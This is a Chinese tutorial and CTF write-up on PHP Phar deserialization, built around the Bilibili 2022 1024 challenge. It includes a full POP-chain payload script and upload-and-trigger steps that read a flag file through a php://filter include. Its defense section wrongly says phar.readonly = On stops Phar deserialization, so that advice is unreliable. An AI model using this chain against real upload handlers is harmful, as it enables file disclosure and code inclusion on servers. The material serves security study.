初步理解Phar反序列化 + 分析POP链构造(2022 Bilibili 1024 程序员节第二题)
字数 2203 2025-08-26 22:11:40

Phar反序列化与POP链构造详解

1. Phar文件基础

1.1 Phar是什么

Phar是PHP的归档文件格式,类似于Java的JAR文件。它将PHP代码文件和其他资源(如图像、样式表等)打包到一个文件中,本质上是一个压缩文件。

1.2 Phar文件结构

  1. Stub - Phar的文件头标识,必须包含<?php xxx; __HALT_COMPILER();?>格式
  2. manifest - 压缩文件信息,包含Meta-data(用户自定义数据)
  3. contents - 压缩文件内容
  4. signature - 签名(Hash值),可选

1.3 创建Phar文件

<?php
class test {
    public $name = "qwq";
    function __destruct() {
        echo $this->name;
    }
}

$a = new test();
$a->name = "phpinfo();";
$phartest = new phar('phartest.phar', 0); // 后缀名必须为phar
$phartest->startBuffering(); // 准备写操作
$phartest->setMetadata($a); // 将自定义Meta-data存入manifest
$phartest->setStub("<?php __HALT_COMPILER();?>"); // 设置stub
$phartest->addFromString("test.txt", "test"); // 添加压缩文件
$phartest->stopBuffering(); // 保存到磁盘
?>

注意:PHP >=5.3默认支持Phar,但要创建Phar文件需设置php.ini中的phar.readonly = Off

2. Phar反序列化

2.1 触发条件

当以下文件系统函数通过phar://伪协议解析phar文件时,会将meta-data进行反序列化:

fileatime, filectime, file_exists, file_get_contents, file_put_contents, 
file, filegroup, fopen, fileinode, filemtime, fileowner, fileperms, 
is_dir, is_executable, is_file, is_link, is_readable, is_writable, 
is_writeable, parse_ini_file, copy, unlink, stat, readfile

2.2 利用方式

  1. 创建包含恶意序列化数据的Phar文件
  2. 通过文件上传等方式将Phar文件传到服务器
  3. 使用上述函数配合phar://协议触发反序列化

3. POP链构造

3.1 常用魔法函数

函数 触发条件
__destruct() 对象销毁时调用
__construct() 对象创建时调用
__toString() 对象被当作字符串时调用
__wakeup() 反序列化时调用
__sleep() 序列化时调用
__invoke() 对象被当作函数调用时
__get() 访问不存在或私有属性时
__set() 设置不存在或私有属性时
__call() 调用不存在的方法时
__isset() 对私有属性isset()时
__unset() 对私有属性unset()时

3.2 魔法函数执行顺序

  • 序列化时__construct()__sleep()
  • 反序列化时__wakeup()__destruct()

3.3 POP链构造思路

  1. 寻找起点:通常从__wakeup()__destruct()开始
  2. 寻找可利用的方法调用:如$this->xxx->xxx()
  3. 利用魔法函数跳转:如通过__toString()触发下一步
  4. 最终目标:通常是要执行的危险函数或代码

4. 实战案例:Bilibili 2022 1024程序员节第二题

4.1 题目分析

文件结构

  • upload.php:文件上传处理
  • upload.html:文件上传表单
  • 5d47c5d8a6299792.php:包含关键类定义

关键代码

// upload.php部分代码
if(isset($_GET['c'])){
    include("5d47c5d8a6299792.php");
    $fpath = $_GET['c'];
    if(file_exists($fpath)){
        echo "file exists";
    }
}

// 5d47c5d8a6299792.php中的关键类
class Action {
    protected $checkAccess;
    protected $id;
    public function run() {
        if($this->id === 0 && $this->checkAccess) {
            include($this->checkAccess); // 目标触发点
        }
    }
}

4.2 利用思路

  1. 构造恶意Phar文件,包含精心设计的序列化数据
  2. 上传Phar文件(可修改后缀绕过限制)
  3. 通过file_exists()函数和phar://协议触发反序列化
  4. 利用POP链最终执行include($this->checkAccess)

4.3 POP链构造

完整POP链:

file_exists()触发 
→ Show::__wakeup() 
  → preg_match()将$this->source当作字符串 
    → Show::__toString() 
      → $this->str->reset() 
        → Content::__call() 
          → call_user_func_array() 
            → Action::run() 
              → include($this->checkAccess)

详细步骤

  1. 起点file_exists()触发Phar反序列化,调用Show::__wakeup()
  2. 跳转1__wakeup()中的preg_match()$this->source当作字符串处理,触发Show::__toString()
  3. 跳转2__toString()调用$this->str->reset(),而$this->strContent对象且无reset()方法,触发Content::__call()
  4. 跳转3__call()调用call_user_func_array($this->getFormatter($name), $arguments)
  5. 控制:通过构造$this->formatters["reset"] = array($actionObj, "run"),使call_user_func_array调用Action::run()
  6. 最终目标Action::run()中的include($this->checkAccess),可设置为/tmp/flag.php

4.4 完整Payload生成脚本

<?php
class Action {
    protected $checkAccess = 'PHP://filter/read=convert.base64-encode/resource=/tmp/flag.php';
    protected $id = '0';
}

class Content {
    public $formatters;
    public function __construct() {
        $a = new Action();
        $this->formatters = array("reset" => array($a, "run"));
    }
}

class Show {
    public $source;
    public $str;
    public function __construct() {
        $this->str = new Content();
    }
    public function __toString() {
        $this->str->reset();
    }
}

$a = new Show();
$b = new Show();
$b->source = $a; // 使preg_match触发__toString

$phar = new phar('exp.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

4.5 利用步骤

  1. 生成Phar文件后修改后缀为.jpg上传
  2. 访问upload.php?c=phar://upload/文件名.jpg/test.txt
  3. 获取base64编码的flag内容

5. 防御措施

  1. 禁用Phar反序列化:phar.readonly = On
  2. 对用户输入进行严格过滤
  3. 避免危险函数与用户输入直接结合
  4. 使用最新PHP版本,修复已知漏洞

6. 总结

Phar反序列化是一种强大的攻击技术,结合POP链可以实现无需直接调用unserialize()的反序列化攻击。理解魔法函数的触发条件和POP链的构造思路是掌握这类漏洞的关键。在实际开发中,应当避免用户输入直接控制敏感操作,并保持框架和库的更新。

Phar反序列化与POP链构造详解 1. Phar文件基础 1.1 Phar是什么 Phar是PHP的归档文件格式,类似于Java的JAR文件。它将PHP代码文件和其他资源(如图像、样式表等)打包到一个文件中,本质上是一个压缩文件。 1.2 Phar文件结构 Stub - Phar的文件头标识,必须包含 <?php xxx; __HALT_COMPILER();?> 格式 manifest - 压缩文件信息,包含Meta-data(用户自定义数据) contents - 压缩文件内容 signature - 签名(Hash值),可选 1.3 创建Phar文件 注意 :PHP >=5.3默认支持Phar,但要创建Phar文件需设置 php.ini 中的 phar.readonly = Off 。 2. Phar反序列化 2.1 触发条件 当以下文件系统函数通过 phar:// 伪协议解析phar文件时,会将meta-data进行反序列化: 2.2 利用方式 创建包含恶意序列化数据的Phar文件 通过文件上传等方式将Phar文件传到服务器 使用上述函数配合 phar:// 协议触发反序列化 3. POP链构造 3.1 常用魔法函数 | 函数 | 触发条件 | |------|----------| | __destruct() | 对象销毁时调用 | | __construct() | 对象创建时调用 | | __toString() | 对象被当作字符串时调用 | | __wakeup() | 反序列化时调用 | | __sleep() | 序列化时调用 | | __invoke() | 对象被当作函数调用时 | | __get() | 访问不存在或私有属性时 | | __set() | 设置不存在或私有属性时 | | __call() | 调用不存在的方法时 | | __isset() | 对私有属性isset()时 | | __unset() | 对私有属性unset()时 | 3.2 魔法函数执行顺序 序列化时 : __construct() → __sleep() 反序列化时 : __wakeup() → __destruct() 3.3 POP链构造思路 寻找起点 :通常从 __wakeup() 或 __destruct() 开始 寻找可利用的方法调用 :如 $this->xxx->xxx() 利用魔法函数跳转 :如通过 __toString() 触发下一步 最终目标 :通常是要执行的危险函数或代码 4. 实战案例:Bilibili 2022 1024程序员节第二题 4.1 题目分析 文件结构 : upload.php :文件上传处理 upload.html :文件上传表单 5d47c5d8a6299792.php :包含关键类定义 关键代码 : 4.2 利用思路 构造恶意Phar文件,包含精心设计的序列化数据 上传Phar文件(可修改后缀绕过限制) 通过 file_exists() 函数和 phar:// 协议触发反序列化 利用POP链最终执行 include($this->checkAccess) 4.3 POP链构造 完整POP链: 详细步骤 : 起点 : file_exists() 触发Phar反序列化,调用 Show::__wakeup() 跳转1 : __wakeup() 中的 preg_match() 将 $this->source 当作字符串处理,触发 Show::__toString() 跳转2 : __toString() 调用 $this->str->reset() ,而 $this->str 是 Content 对象且无 reset() 方法,触发 Content::__call() 跳转3 : __call() 调用 call_user_func_array($this->getFormatter($name), $arguments) 控制 :通过构造 $this->formatters["reset"] = array($actionObj, "run") ,使 call_user_func_array 调用 Action::run() 最终目标 : Action::run() 中的 include($this->checkAccess) ,可设置为 /tmp/flag.php 4.4 完整Payload生成脚本 4.5 利用步骤 生成Phar文件后修改后缀为 .jpg 上传 访问 upload.php?c=phar://upload/文件名.jpg/test.txt 获取base64编码的flag内容 5. 防御措施 禁用Phar反序列化: phar.readonly = On 对用户输入进行严格过滤 避免危险函数与用户输入直接结合 使用最新PHP版本,修复已知漏洞 6. 总结 Phar反序列化是一种强大的攻击技术,结合POP链可以实现无需直接调用 unserialize() 的反序列化攻击。理解魔法函数的触发条件和POP链的构造思路是掌握这类漏洞的关键。在实际开发中,应当避免用户输入直接控制敏感操作,并保持框架和库的更新。